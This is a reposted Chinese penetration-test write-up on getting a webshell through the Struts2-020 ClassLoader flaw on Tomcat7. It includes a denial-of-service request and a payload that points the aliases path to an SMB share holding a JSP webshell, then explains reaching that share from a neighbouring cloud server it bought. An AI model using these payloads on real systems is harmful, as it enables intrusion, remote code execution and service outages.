内容简介:在一次给某甲方做模拟攻击中发现某网站存在Struts2-020,但是中间件是tomcat7不能直接getshell。Object是java的基础类,所有的class生成的对象,都会继承Object的所有属性和方法,因此当前action无论是什么代码,必须有Object自带的getClass方法,这个方法会返回一个Class对象,Class对象又一定会有getClassLoader方法,最终在每个action都可以操控class。Struts2-020允许访问直接映射到“getClass()”方法的“clas
在一次给某甲方做模拟攻击中发现某网站存在Struts2-020,但是中间件是tomcat7不能直接getshell。
一、Struts2-020漏洞原理
Object是 java 的基础类,所有的class生成的对象,都会继承Object的所有属性和方法,因此当前action无论是什么代码,必须有Object自带的getClass方法,这个方法会返回一个Class对象,Class对象又一定会有getClassLoader方法,最终在每个action都可以操控class。Struts2-020允许访问直接映射到“getClass()”方法的“class”参数 ,这可以被利用来操纵所使用的应用程序服务器的ClassLoader。简而言之就是可以通过ClassLoader操控Tomcat的一些配置属性,这个漏洞在Tomcat8下是可以getshell的。如下图为tomcat8部分可控属性。
Tomcat8如何getshell在网上一大堆这里就不演示了,大概步骤如下
1.更改Tomcat log为可执行文件,更改log文件名,更改日志路径至web目录下 2.初始化日志文件 3.通过URL访问,在日志中写入一句话 4.菜刀连接一句话成功getshell
二、Tomcat7如何getshell?
一开始以为struts2-010在tomcat下都能getshell,疯狂操作下一直失败,百度后才知道tomcat7无法操控日志属性。只能重定向web目录造成拒绝服务攻击。
拒绝服务攻击:
http://127.0.0.1/s/example/HelloWorld.action? class.classLoader.resources.dirContext.docBase=”乱填就好”
但是只挖到一个拒绝服务攻击无法向甲方交差呀,甲方交不了差,老板就不高兴,老板不高兴,我的绩效考核危矣。拒绝服务攻击更是不敢打,上次模拟攻击把甲方服务打瘫了,最后一个外包也离我而去了,难顶还是得顶。
2.1本地枯燥调试
无奈之下只能在本地搭建环境把所有可操控的属性枚举出来。
把一个个属性试过去,看是否能利用的,挨个简单更改属性值后通过日志和变化来判断,发现并不能getshell,当我正要放弃的时候脑子里飘过一个红色的身影,亲切地对我说没有攻不破的系统,只有不努力的黑客。瞬间斗志满满!!!
2.2谷歌大法好
谷歌作为技术人员的好朋友,碰到技术问题谷歌就对了,一顿搜索之后在一篇老毛子写的文章中写到class.classLoader.parent.resources.dirContext.aliases不仅仅可以任意文件读取,文件路径是支持UNC path的即smb路径。这时候我就想既然支持SMB路径,搞个文件共享时候能执行命令?只要把文件共享设置为eve任何人可以访问就可以让网站读取到可执行文件,指不定就能执行了!!!
2.3本地搭建SMB服务并测试
搭建过程操作不难,在文件共享中放入一句话木马,再把网站的别名路径映射到SMB服务器。
Payload:
http://127.0.0.1:8080/struts2-blank/hello.action? class.classLoader.parent.resources.dirContext.aliases=\\192.168.1.1\muma.jsp
菜刀一连成功连接:
三、云环境测试
因为目标是在云环境上,众所周知云环境大部分都是不对外开放445端口的。但是通过信息收集发现所在目标是在一个野鸡云环境上,因为之前接触过几家野鸡云服务器厂商,他们C段的445端口是互通的。我就在想这家厂商是否也存在这样的配置漏洞?
3.1金钱的力量
本来想在C段撸下一台服务器作为SMB服务器的,但是作为正义的白帽子怎么能做此等龌龊的事?只能把方案提出来,提交到上级申请经费。最后以目标IP旁边的某个IP数字吉利为由,通过客服以1.5倍的价格买下了目标相邻的服务器,最终发现的确存在配置不当。C段的445端口可以相互访问从而Getshell成功。
四、最后
网站渗透很少有一个POC或者EXP直接打穿的,遇到难题多思考,多搜索。不要放弃,不断尝试,尝试着尝试着就成功了
*本文作者:꧁,转载请注明来自FreeBuf.COM
以上所述就是小编给大家介绍的《在云环境下Tomcat7存在Struts2-020如何Getshell》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
图解密码技术(第3版)
[日] 结城浩 / 周自恒 / 人民邮电出版社 / 2016-6 / 89.00元
本书以图配文的形式,详细讲解了6种最重要的密码技术:对称密码、公钥密码、单向散列函数、消息认证码、数字签名和伪随机数生成器。 第1部分讲述了密码技术的历史沿革、对称密码、分组密码模式(包括ECB、CBC、CFB、OFB、CTR)、公钥、混合密码系统。第2部分重点介绍了认证方面的内容,涉及单向散列函数、消息认证码、数字签名、证书等。第3部分讲述了密钥、随机数、PGP、SSL/TLS 以及密码技......一起来看看 《图解密码技术(第3版)》 这本书的介绍吧!